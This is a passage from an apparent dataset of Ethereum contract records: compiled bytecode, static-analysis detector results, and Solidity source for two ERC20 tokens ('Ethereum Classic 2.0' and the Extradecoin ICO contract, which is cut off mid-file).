601b03169082015290565b7f00000000000000000000000031c8eacbffdd875c74b94b077895bd78cf1e64a381565b60056118278261092b565b600781111561183257fe5b1461184f5760405162461bcd60e51b815260040161059290612d02565b6000818152600260205260408120600a8101805461ff001916610100179055905b60028201548110156119bd577f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b0316630825f38f8360030183815481106118ba57fe5b90600052602060002001548460020184815481106118d457fe5b6000918252602090912001546003860180546001600160a01b0390921691869081106118fc57fe5b906000526020600020015486600401868154811061191657fe5b9060005260206000200187600501878154811061192f57fe5b9060005260206000200188600101546040518763ffffffff1660e01b815260040161195e959493929190612796565b6000604051808303818588803b15801561197757600080fd5b505af115801561198b573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526119b4919081019061238f565b50600101611870565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516119ed919061286c565b60405180910390a15050565b6001611a048361092b565b6007811115611a0f57fe5b14611a2c5760405162461bcd60e51b815260040161059290612ed5565b60008281526002602090815260408083206001600160a01b0387168452600b8101909252909120805460ff1615611a755760405162461bcd60e51b815260040161059290612e8d565b600682015460405163782d6fe160e01b81526000916001600160a01b037f00000000000000000000000031c8eacbffdd875c74b94b077895bd78cf1e64a3169163782d6fe191611aca918a9190600401612694565b60206040518083038186803b158015611ae257600080fd5b505afa158015611af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1a91906124ca565b90508315611b4357611b398360080154826001600160601b0316611be1565b6008840155611b60565b611b5a8360090154826001600160601b0316611be1565b60098401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611bd1908890889088908690612719565b60405180910390a1505050505050565b600082820183811015611c065760405162461bcd60e51b815260040161059290612d60565b9392505050565b600082821115611c2f5760405162461bcd60e51b815260040161059290612f1a565b50900390565b4690565b7f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b031663f2b065378686868686604051602001611c8195949392919061274a565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611cb3919061286c565b60206040518083038186803b158015611ccb57600080fd5b505afa158015611cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d03919061235b565b15611d205760405162461bcd60e51b815260040161059290612ddc565b604051633a66f90160e01b81526001600160a01b037f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba1690633a66f90190611d74908890889088908890889060040161274a565b602060405180830381600087803b158015611d8e57600080fd5b505af1158015611da2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc69190612377565b505050505050565b828054828255906000526020600020908101928215611e23579160200282015b82811115611e2357825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611dee565b50611e2f929150611f40565b5090565b828054828255906000526020600020908101928215611e23579160200282015b82811115611e23578251825591602001919060010190611e53565b828054828255906000526020600020908101928215611ebb579160200282015b82811115611ebb5782518051611eab918491602090910190611f55565b5091602001919060010190611e8e565b50611e2f929150611fd0565b828054828255906000526020600020908101928215611f14579160200282015b82811115611f145782518051611f04918491602090910190611f55565b5091602001919060010190611ee7565b50611e2f929150611fed565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611e2f5760008155600101611f41565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611f8b5760008555611e23565b82601f10611fa457805160ff1916838001178555611e23565b82800160010185558215611e235791820182811115611e23578251825591602001919060010190611e53565b80821115611e2f576000611fe4828261200a565b50600101611fd0565b80821115611e2f576000612001828261200a565b50600101611fed565b50805460018160011615610100020316600290046000825580601f10612030575061204e565b601f01602090049060005260206000209081019061204e9190611f40565b50565b600061206461205f84613106565b6130c4565b905082815283838301111561207857600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114610abd57600080fd5b600082601f8301126120b6578081fd5b813560206120c661205f836130e8565b82815281810190858301838502870184018810156120e2578586fd5b855b85811015612107576120f58261208f565b845292840192908401906001016120e4565b5090979650505050505050565b600082601f830112612124578081fd5b8135602061213461205f836130e8565b82815281810190858301855b85811015612107578135880189603f82011261215a578788fd5b61216b8a8783013560408401612051565b8552509284019290840190600101612140565b600082601f83011261218e578081fd5b8135602061219e61205f836130e8565b82815281810190858301855b85811015612107576121c1898684358b010161222d565b845292840192908401906001016121aa565b600082601f8301126121e3578081fd5b813560206121f361205f836130e8565b828152818101908583018385028701840188101561220f578586fd5b855b8581101561210757813584529284019290840190600101612211565b600082601f83011261223d578081fd5b611c0683833560208501612051565b60006020828403121561225d578081fd5b611c068261208f565b60008060408385031215612278578081fd5b6122818361208f565b946020939093013593505050565b600080600080600060a086880312156122a6578081fd5b853567ffffffffffffffff808211156122bd578283fd5b6122c989838a016120a6565b965060208801359150808211156122de578283fd5b6122ea89838a016121d3565b955060408801359150808211156122ff578283fd5b61230b89838a0161217e565b94506060880135915080821115612320578283fd5b61232c89838a01612114565b93506080880135915080821115612341578283fd5b5061234e8882890161222d565b9150509295509295909350565b60006020828403121561236c578081fd5b8151611c0681613160565b600060208284031215612388578081fd5b5051919050565b6000602082840312156123a0578081fd5b815167ffffffffffffffff8111156123b6578182fd5b8201601f810184136123c6578182fd5b80516123d461205f82613106565b8181528560208385010111156123e8578384fd5b6123f9826020830160208601613134565b95945050505050565b600060208284031215612413578081fd5b5035919050565b6000806040838503121561242c578182fd5b8235915061243c6020840161208f565b90509250929050565b60008060408385031215612457578182fd5b82359150602083013561246981613160565b809150509250929050565b600080600080600060a0868803121561248b578283fd5b85359450602086013561249d81613160565b9350604086013560ff811681146124b2578384fd5b94979396509394606081013594506080013592915050565b6000602082840312156124db578081fd5b81516001600160601b0381168114611c06578182fd5b6000815180845260208085019450808401835b838110156125295781516001600160a01b031687529582019590820190600101612504565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b8581101561257a5782840389526125688483516125b6565b98850198935090840190600101612550565b5091979650505050505050565b6000815180845260208085019450808401835b838110156125295781518752958201959082019060010161259a565b600081518084526125ce816020860160208601613134565b601f01601f19169290920160200192915050565b60008154600180821660008114612600576001811461261e5761265c565b60028304607f16865260ff198316602087015260408601935061265c565b6002830480875261262e86613128565b60005b828110156126525781546020828b0101528482019150602081019050612631565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e0606083015261270860e08301856125b6565b905082608083015295945050505050565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261277160a08301866125b6565b828103606084015261278381866125b6565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a060408301526127bd60a08301866125e2565b828103606084015261278381866125e2565b6001600160a01b03989098168852602088019690965260408701949094526060860192909252608085015260a0840152151560c0830152151560e08201526101000190565b60006080825261282760808301876124f1565b82810360208401526128398187612587565b9050828103604084015261284d8186612534565b905082810360608401526128618185612534565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b60208101600883106128dd57fe5b91905290565b600060208252611c0660208301846125b6565b6020808252603a908201527f476f7665726e6f723a3a70726f706f73653a2070726f706f73657220766f746560408201527f732062656c6f772070726f706f73616c207468726573686f6c64000000000000606082015260800190565b60208082526042908201527f476f7665726e6f723a3a63616e63656c3a2063616e6e6f742063616e63656c2060408201527f756e6c6573732070726f706f7365722069732062656c6f77207468726568736f6060820152611b1960f21b608082015260a00190565b6020808252603f908201527f476f7665726e6f723a3a70726f706f73653a2070726f706f73616c2066756e6360408201527f74696f6e20696e666f726d6174696f6e206172697479206d69736d6174636800606082015260800190565b60208082526045908201527f476f7665726e6f723a3a5f5f717565756553657454696d656c6f636b50656e6460408201527f696e6741646d696e3a2073656e646572206d75737420626520676f7620677561606082015264393234b0b760d91b608082015260a00190565b60208082526023908201527f476f7665726e6f723a3a70726f706f73653a20746f6f206d616e7920616374696040820152626f6e7360e81b606082015260800190565b60208082526031908201527f476f7665726e6f723a3a63616e63656c3a2063616e6e6f742063616e63656c20604082015270195e1958dd5d1959081c1c9bdc1bdcd85b607a1b606082015260800190565b60208082526027908201527f476f7665726e6f723a3a70726f706f73653a206d7573742070726f7669646520604082015266616374696f6e7360c81b606082015260800190565b60208082526054908201527f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7060408201527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560608201527318591e481c195b991a5b99c81c1c9bdc1bdcd85b60621b608082015260a00190565b60208082526047908201527f476f7665726e6f723a3a5f5f6578656375746553657454696d656c6f636b506560408201527f6e64696e6741646d696e3a2073656e646572206d75737420626520676f7620676060820152663ab0b93234b0b760c91b608082015260a00190565b60208082526024908201527f476f7665726e6f723a3a73746174653a20696e76616c69642070726f706f73616040820152631b081a5960e21b606082015260800190565b60208082526053908201527f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7060408201527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560608201527218591e481858dd1a5d99481c1c9bdc1bdcd85b606a1b608082015260a00190565b602080825260409082018190527f476f7665726e6f723a3a657865637574653a2070726f706f73616c2063616e20908201527f6f6e6c7920626520657865637574656420696620697420697320717565756564606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b60208082526031908201527f476f7665726e6f723a3a5f5f61626469636174653a2073656e646572206d75736040820152703a1031329033b7bb1033bab0b93234b0b760791b606082015260800190565b6020808252603f908201527f476f7665726e6f723a3a5f71756575654f725265766572743a2070726f706f7360408201527f616c20616374696f6e20616c7265616479207175657565642061742065746100606082015260800190565b60208082526034908201527f476f7665726e6f723a3a5f5f61636365707441646d696e3a2073656e6465722060408201527336bab9ba1031329033b7bb1033bab0b93234b0b760611b606082015260800190565b60208082526028908201527f476f7665726e6f723a3a5f63617374566f74653a20766f74657220616c726561604082015267191e481d9bdd195960c21b606082015260800190565b60208082526025908201527f476f7665726e6f723a3a5f63617374566f74653a20766f74696e6720697320636040820152641b1bdcd95960da1b606082015260800190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b6020808252603f908201527f476f7665726e6f723a3a71756575653a2070726f706f73616c2063616e206f6e60408201527f6c79206265207175657565642069662069742069732073756363656564656400606082015260800190565b6020808252602a908201527f476f7665726e6f723a3a63617374566f746542795369673a20696e76616c6964604082015269207369676e617475726560b01b606082015260800190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b0389166020820152610120604082018190526000906130498382018b6124f1565b9050828103606084015261305d818a612587565b905082810360808401526130718189612534565b905082810360a08401526130858188612534565b90508560c08401528460e08401528281036101008401526130a681856125b6565b9c9b505050505050505050505050565b918252602082015260400190565b60405181810167ffffffffffffffff811182821017156130e057fe5b604052919050565b600067ffffffffffffffff8211156130fc57fe5b5060209081020190565b600067ffffffffffffffff82111561311a57fe5b50601f01601f191660200190565b60009081526020902090565b60005b8381101561314f578181015183820152602001613137565b838111156111365750506000910152565b801515811461204e57600080fdfea264697066735822122031a5041528f6ca588e61832ab4f77d6adcffcf2bf8772140a4fccea193c29f2064736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,209 |
0x8222df90a10215e208048a29b7b78485af200464
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = 'Ethereum Classic 2.0';
_symbol = 'ETC2';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract EthereumClassic2 is ERC20,Ownable {
constructor () public
ERC20 () {
_mint(msg.sender,115000000e18);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146102a2578063a9059cbb146102ce578063dd62ed3e146102fa578063f2fde38b14610328576100ea565b8063715018a61461026c5780638da5cb5b1461027657806395d89b411461029a576100ea565b806323b872dd116100c857806323b872dd146101c6578063313ce567146101fc578063395093511461021a57806370a0823114610246576100ea565b806306fdde03146100ef578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b6100f761034e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b0381351690602001356103e4565b604080519115158252519081900360200190f35b6101b4610460565b60408051918252519081900360200190f35b610198600480360360608110156101dc57600080fd5b506001600160a01b03813581169160208101359091169060400135610466565b610204610529565b6040805160ff9092168252519081900360200190f35b6101986004803603604081101561023057600080fd5b506001600160a01b038135169060200135610532565b6101b46004803603602081101561025c57600080fd5b50356001600160a01b03166105da565b6102746105f5565b005b61027e6106b4565b604080516001600160a01b039092168252519081900360200190f35b6100f76106c8565b610198600480360360408110156102b857600080fd5b506001600160a01b038135169060200135610729565b610198600480360360408110156102e457600080fd5b506001600160a01b03813516906020013561076c565b6101b46004803603604081101561031057600080fd5b506001600160a01b0381358116916020013516610782565b6102746004803603602081101561033e57600080fd5b50356001600160a01b03166107ad565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b820191906000526020600020905b8154815290600101906020018083116103bd57829003601f168201915b5050505050905090565b60006001600160a01b0383166103f957600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b038316600090815260016020908152604080832033845290915281205461049490836108e1565b6001600160a01b03851660009081526001602090815260408083203384529091529020556104c38484846108f6565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661054757600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461057590836108c8565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b6105fd6109b5565b60055461010090046001600160a01b03908116911614610664576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b60006001600160a01b03831661073e57600080fd5b3360009081526001602090815260408083206001600160a01b038716845290915290205461057590836108e1565b60006107793384846108f6565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6107b56109b5565b60055461010090046001600160a01b0390811691161461081c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166108615760405162461bcd60e51b81526004018080602001828103825260268152602001806109ba6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156108da57600080fd5b9392505050565b6000828211156108f057600080fd5b50900390565b6001600160a01b03821661090957600080fd5b6001600160a01b03831660009081526020819052604090205461092c90826108e1565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461095b90826108c8565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122099009faa415bdf69563ab26f2d8cd6ff55b7960c950e81db199182e9b38b250d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,210 |
0x9d985879704dbddade14cad3aba059afe5785afd
|
pragma solidity ^0.4.21;
contract Owner {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owner(address _owner) public {
owner = _owner;
}
function changeOwner(address _newOwnerAddr) public onlyOwner {
require(_newOwnerAddr != address(0));
owner = _newOwnerAddr;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Extradecoin is Owner {
using SafeMath for uint256;
string public constant name = "EXTRADECOIN";
string public constant symbol = "ETE";
uint public constant decimals = 18;
uint256 constant public totalSupply = 250000000 * 10 ** 18; // 250 mil tokens will be supplied
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) internal allowed;
address public adminAddress;
address public walletAddress;
address public founderAddress;
address public advisorAddress;
mapping(address => uint256) public totalInvestedAmountOf;
uint constant lockPeriod1 = 3 years; // 1st locked period for tokens allocation of founder and team
uint constant lockPeriod2 = 1 years; // 2nd locked period for tokens allocation of founder and team
uint constant lockPeriod3 = 90 days; // 3nd locked period for tokens allocation of advisor and ICO partners
uint constant NOT_SALE = 0; // Not in sales
uint constant IN_ICO = 1; // In ICO
uint constant END_SALE = 2; // End sales
uint256 public constant salesAllocation = 125000000 * 10 ** 18; // 125 mil tokens allocated for sales
uint256 public constant founderAllocation = 37500000 * 10 ** 18; // 37.5 mil tokens allocated for founders
uint256 public constant advisorAllocation = 25000000 * 10 ** 18; // 25 mil tokens allocated for allocated for ICO partners and bonus fund
uint256 public constant reservedAllocation = 62500000 * 10 ** 18; // 62.5 mil tokens allocated for reserved, bounty campaigns, ICO partners, and bonus fund
uint256 public constant minInvestedCap = 6000 * 10 ** 18; // 2500 ether for softcap
uint256 public constant minInvestedAmount = 0.1 * 10 ** 18; // 0.1 ether for mininum ether contribution per transaction
uint saleState;
uint256 totalInvestedAmount;
uint public icoStartTime;
uint public icoEndTime;
bool public inActive;
bool public isSelling;
bool public isTransferable;
uint public founderAllocatedTime = 1;
uint public advisorAllocatedTime = 1;
uint256 public totalRemainingTokensForSales; // Total tokens remaining for sales
uint256 public totalAdvisor; // Total tokens allocated for advisor
uint256 public totalReservedTokenAllocation; // Total tokens allocated for reserved
event Approval(address indexed owner, address indexed spender, uint256 value); // ERC20 standard event
event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 standard event
event StartICO(uint state); // Start ICO sales
event EndICO(uint state); // End ICO sales
event AllocateTokensForFounder(address founderAddress, uint256 founderAllocatedTime, uint256 tokenAmount); // Allocate tokens to founders' address
event AllocateTokensForAdvisor(address advisorAddress, uint256 advisorAllocatedTime, uint256 tokenAmount); // Allocate tokens to advisor address
event AllocateReservedTokens(address reservedAddress, uint256 tokenAmount); // Allocate reserved tokens
event AllocateSalesTokens(address salesAllocation, uint256 tokenAmount); // Allocate sales tokens
modifier isActive() {
require(inActive == false);
_;
}
modifier isInSale() {
require(isSelling == true);
_;
}
modifier transferable() {
require(isTransferable == true);
_;
}
modifier onlyOwnerOrAdminOrPortal() {
require(msg.sender == owner || msg.sender == adminAddress);
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || msg.sender == adminAddress);
_;
}
function Extradecoin(address _walletAddr, address _adminAddr) public Owner(msg.sender) {
require(_walletAddr != address(0));
require(_adminAddr != address(0));
walletAddress = _walletAddr;
adminAddress = _adminAddr;
inActive = true;
totalInvestedAmount = 0;
totalRemainingTokensForSales = salesAllocation;
totalAdvisor = advisorAllocation;
totalReservedTokenAllocation = reservedAllocation;
}
// ERC20 standard function
function transfer(address _to, uint256 _value) external transferable returns (bool) {
require(_to != address(0));
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// ERC20 standard function
function transferFrom(address _from, address _to, uint256 _value) external transferable returns (bool) {
require(_to != address(0));
require(_from != address(0));
require(_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
// ERC20 standard function
